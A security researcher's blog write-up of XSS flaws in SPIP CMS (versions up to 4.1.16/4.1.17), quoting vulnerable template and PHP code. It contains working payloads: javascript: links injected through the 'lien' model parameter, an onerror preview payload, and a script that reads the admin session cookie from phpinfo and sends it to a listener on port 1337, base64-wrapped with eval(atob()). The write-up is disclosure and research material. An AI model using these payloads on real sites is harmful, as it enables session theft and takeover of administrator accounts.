C110101: SPIP <= 4.1.16, 1-Click RCE (pre-auth) - part 1
Introduction
Following SPIP’s announcement of a recent patch thanks to Laluka’s vulnerability report, I decided to take a quick look at the source code, patches, etc.
Suite au signalement d’une faille critique de sécurité, nous publions les versions SPIP 4.3.0-alpha2, 4.2.13, 4.1.16. Un grand merci à Laluka (Jacques-Chevallier Louka) pour le signalement. - link
If you’re not familiar with SPIP, I recommend that you read my previous blogposts, where I present the various RCEs (post-auth and pre-auth) that I’ve discovered over time.
An important detail in the patch note is that, not all versions of SPIP are vulnerable, so we need to look at the versions concerned (for my part, I clearly wasted time auditing unaffected versions).
Ces versions corrigent une faille critique permettant l’exécution de code (RCE) depuis l’espace public sur les branches 4.2 et 4.3 de SPIP.
Unfortunately, I audited the wrong versions, but this enabled me to identify new bugs that could be reproduced in the latest versions (4.1.16).
Unauthenticated Stored XSS
How?
An unauthenticated or authenticated user can inject a payload (JavaScript code)
into his message. The payload is inserted into the href
attribute of an <a>
tag, which will execute the malicious code when the object is clicked.
<file 1|lien=javaScript:alert('IVOIRE')>
The following colored information can be observed:
- In blue we choose to set the model
file
. - Then, the value
1
corresponds to the id of a document that has been uploaded (the attacker doesn’t need to know this id, he just needs to specify a valid one, knowing that it’s an integer that increments for each document uploaded and that the initial value is1
). We’ll see that, depending on the file type, rendering is performed differently, to the attacker’s advantage. - Then, we specify the
lien
parameter to the model. - Finaly, we specify the value of the
lien
parameter.
I’d like to point out that the “Prévisualiser” feature is not the only one affected by the bug, but the rendering of messages as well. As soon as a user clicks on the logo, the malicious JavaScript code executes.
But what happens if the attacker specifies the id of a document being an image?
In the case of an image, it’s even better, depending on the size of the image,
it takes up more or less space on the page, but you can also specify other
parameters such as (width
respectively largeur
, height
respectively hauteur
).
<image 2|lien=javaScript:alert('IVOIRE')|hauteur=130|largeur=037>
Why?
To understand the bug, simply read the following three files.
- plugins-dist/medias/modeles/file.html
- Respectively plugins-dist/medias/modeles/image.html for model
image
.
- Respectively plugins-dist/medias/modeles/image.html for model
- ecrire/inc/filtres.php
File: plugins-dist/medias/modeles/file.html
<BOUCLE_file (DOCUMENTS) {id_document=#ENV{id,#ENV{id_document}}} {tout}>
[(#MEDIA|=={image}|oui)
#SET{fichier,#URL_DOCUMENT}
#SET{width,#LARGEUR}
#SET{height,#HAUTEUR}
#SET{url,#ENV{lien}}
][(#MEDIA|=={image}|non)
#SET{image,#LOGO_DOCUMENT}
[(#SET{fichier,[(#GET{image}|extraire_attribut{src})]})]
[(#SET{width,[(#GET{image}|extraire_attribut{width})]})]
[(#SET{height,[(#GET{image}|extraire_attribut{height})]})]
#SET{url,#ENV{lien,#URL_DOCUMENT}}
][<!--(#REM)
Si largeur ou hauteur fournit en parametre, redimensionner
-->][
(#ENV{largeur,0}|ou{#ENV{hauteur,0}})
#SET{fichier,#GET{fichier}|image_reduire{#ENV{largeur,0},#ENV{hauteur,0}}}
#SET{width,#GET{fichier}|largeur}
#SET{height,#GET{fichier}|hauteur}
#SET{fichier,#GET{fichier}|extraire_attribut{src}}
]
[(#SET{title,[(#TYPE_DOCUMENT) - [(#TAILLE|taille_en_octets)]]})]
[(#SET{legende,#INCLURE{fond=modeles/document_legende, env}|trim})]
[(#MEDIA|=={image}|oui) #SET{title,#TITRE|sinon{#GET{title}}]
<div
class="[(#ID_DOCUMENT|medias_modele_document_standard_classes{file}) ]spip_lien_ok"[
(#ID_DOCUMENT|medias_modele_document_standard_attributs{file})
]>
<figure class="spip_doc_inner">
[<a href="(#GET{url}|attribut_url)"[
class="(#ENV{lien_class}|concat{' spip_doc_lien'}|attribut_html)"] title='[(#GET{title}|attribut_html)]'[
(#ENV{lien}|?{'',type="#MIME_TYPE"})]>]<img src='[(#GET{fichier}|attribut_url)]' width='[(#GET{width}|attribut_html)]' height='[(#GET{height}|attribut_html)]' alt='' />[(#GET{url}|?{</a>})]
#GET{legende}
</figure>
</div>
</BOUCLE_file>
#FILTRE{trim}
File: plugins-dist/medias/modeles/image.html
[(#REM)
Modele pour les images
]
<BOUCLE_image (DOCUMENTS) {media=image} {id_document=#ENV{id,#ENV{id_document}}} {inclus=image} {mode?} {tout}>
[(#SET{autolien,#MEDIA|media_determine_autolien{#EXTENSION,#LARGEUR,#HAUTEUR,#ID_DOCUMENT}|oui})]
[(#SET{image,[(#ENV{largeur}|ou{#ENV{hauteur}}|?{
[(#FICHIER|image_reduire{#ENV{largeur,10000},#ENV{hauteur,10000}})],
[<img src='(#URL_DOCUMENT|attribut_url)'[ width="(#LARGEUR|attribut_html)"][ height="(#HAUTEUR|attribut_html)"]/>]})]})]
[(#SET{image,#GET{image}|inserer_attribut{alt,#ENV{alt,#ALT}|sinon{''}}})]
[(#SET{legende,#INCLURE{fond=modeles/document_legende, env}|trim})]
#SET{largeur,#GET{image}|largeur}
<div
class="[(#ID_DOCUMENT|medias_modele_document_standard_classes{image}) ]spip_lien_ok"[
(#ID_DOCUMENT|medias_modele_document_standard_attributs{image})
]>
<figure class="spip_doc_inner">
[<a href="(#ENV{lien}|attribut_url)"[ class="(#ENV{lien_class}|concat{' spip_doc_lien'}|trim|attribut_html)"]>]
[(#ENV{lien}|non|et{#GET{autolien}})<a href="[(#URL_DOCUMENT|attribut_url)]" class="spip_doc_lien mediabox" type="#MIME_TYPE">]
#GET{image}
[(#ENV{lien}|ou{#GET{autolien}}|?{</a>})]
#GET{legende}
</figure>
</div>
</BOUCLE_image>
<INCLURE{fond=modeles/file,env} />
<//B_image>
File: ecrire/inc/filtres.php
...
function attribut_url(?string $texte): string {
if ($texte === null || $texte === '') {
return '';
}
$texte = entites_html($texte, false, false);
$texte = str_replace(["'", '"'], [''', '"'], $texte);
return preg_replace(
['/&(amp;|#38;)/', '/&(?![A-Za-z]{0,4}\w{2,3};|#[0-9]{2,5};)/'],
['&', '&'],
$texte
);
}
...
To go further
It is possible to convert this Stored XSS without authentication into an RCE. To do this, all we need to do is create a payload that leaks the administrator’s cookie.
But how to do this since the cookie is HttpOnly
? Wouldn’t the phpinfo()
feature help us to retrieve the cookie’s value?
Let’s check it out by looking at the screenshot below.
We can even check whether the user is an admin via the
spip_admin
cookie.
It’s now super simple to retrieve the value of an adminsitrator’s cookie.
const phpinfo_url = 'http://127.0.0.1/Projects/spip-v4.1.16/ecrire/?exec=info';
function load(url) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
if (xhr.readyState === 4) {
var arr = xhr.response.match(/spip_session=(.*?);/) || [""];
var i = new Image();
i.src = 'http://127.0.0.1:1337/?cookie=' + btoa(arr[0]);
}
};
xhr.open('GET', url, true);
xhr.withCredentials = true;
xhr.send(null);
}
load(phpinfo_url);
Once we have a valid payload (here it’s just a POC) all we have to do is encode it (base64). Then simply insert it into one of the payloads presented above.
<image 2|lien=javaScript:eval(atob('Y29uc3QgcG...uZm9fdXJsKTs='))>
Authenticated self reflected XSS (also works without authentication)
How?
This bug is clearly useless, but who knows, maybe someone will manage to exploit
it differently. By playing with the parsing of the “Preview” functionality, it’s
possible to force the server to return an image tag with controlled arguments
(especially the attribute onerror
).
champ=TAGS&objet=*&data=<img src='<img src=x'>"onerror="alert(1)">
Why?
To understand the bug, simply read the following three files.
- plugins-dist/porte_plume/prive/porte_plume_preview.html
- plugins-dist/porte_plume/porte_plume_fonctions.php
- ecrire/inc/filtres_images_lib_mini.php
File: plugins-dist/porte_plume/prive/porte_plume_preview.html
#CACHE{0}
[(#HTTP_HEADER{Content-Type: text/html; charset=[(#VAL|pp_charset)]})]
<div class="preview">
[(#ENV*{data}|traitements_previsu{#ENV*{champ},#ENV*{objet}}|image_reduire{500,0}|liens_absolus)]
[<hr style='clear:both;' /><div class="notes">(#NOTES)</div>]
</div>
File: plugins-dist/porte_plume/porte_plume_fonctions.php
...
function traitements_previsu($texte, $nom_champ = '', $type_objet = '', $connect = null) {
include_spip('public/interfaces'); // charger les traitements
global $table_des_traitements;
if (!strlen($nom_champ) || !isset($table_des_traitements[$nom_champ])) {
$texte = propre($texte, $connect);
} else {
include_spip('base/abstract_sql');
$table = table_objet($type_objet);
$ps = $table_des_traitements[$nom_champ];
if (is_array($ps)) {
$ps = $ps[(strlen($table) && isset($ps[$table])) ? $table : 0];
}
if (!$ps) {
$texte = propre($texte, $connect);
} else {
// [FIXME] Éviter une notice sur le eval suivant qui ne connait
// pas la Pile ici. C'est pas tres joli...
$Pile = [0 => []];
// remplacer le placeholder %s par le texte fourni
eval('$texte=' . str_replace('%s', '$texte', $ps) . ';');
}
}
// il faut toujours securiser le texte prévisualisé car il peut contenir n'importe quoi
// et servir de support a une attaque xss ou vol de cookie admin
// on ne peut donc se fier au statut de l'auteur connecté car le contenu ne vient pas
// forcément de lui
return safehtml($texte);
}
...
File: ecrire/inc/filtres_images_lib_mini.php
...
function process_image_reduire($fonction, $img, $taille, $taille_y, $force, $process = 'AUTO') {
...
if (!is_array($image) or !$image['largeur'] or !$image['hauteur']) {
spip_log("image_reduire_src:pas de version locale de $img ou extension non prise en charge");
// on peut resizer en mode html si on dispose des elements
[$srcw, $srch] = taille_image($img);
if ($srcw and $srch) {
[$w, $h] = _image_ratio($srcw, $srch, $taille, $taille_y);
return _image_tag_changer_taille($img, $w, $h);
}
// la on n'a pas d'infos sur l'image source... on refile le truc a css
// sous la forme style='max-width: NNpx;'
return inserer_attribut(
$img,
'style',
"max-width: ${taille}px;max-width: min(100%,${taille}px); max-height: ${taille_y}px"
);
}
...
}
...
It was short, but there’s no need to go into too much detail as reading this source code really gives you a headache. Thank you for taking the time to read this article.
UPDATE 2024-06-23:
- Version 4.1.17 is also vulnerable.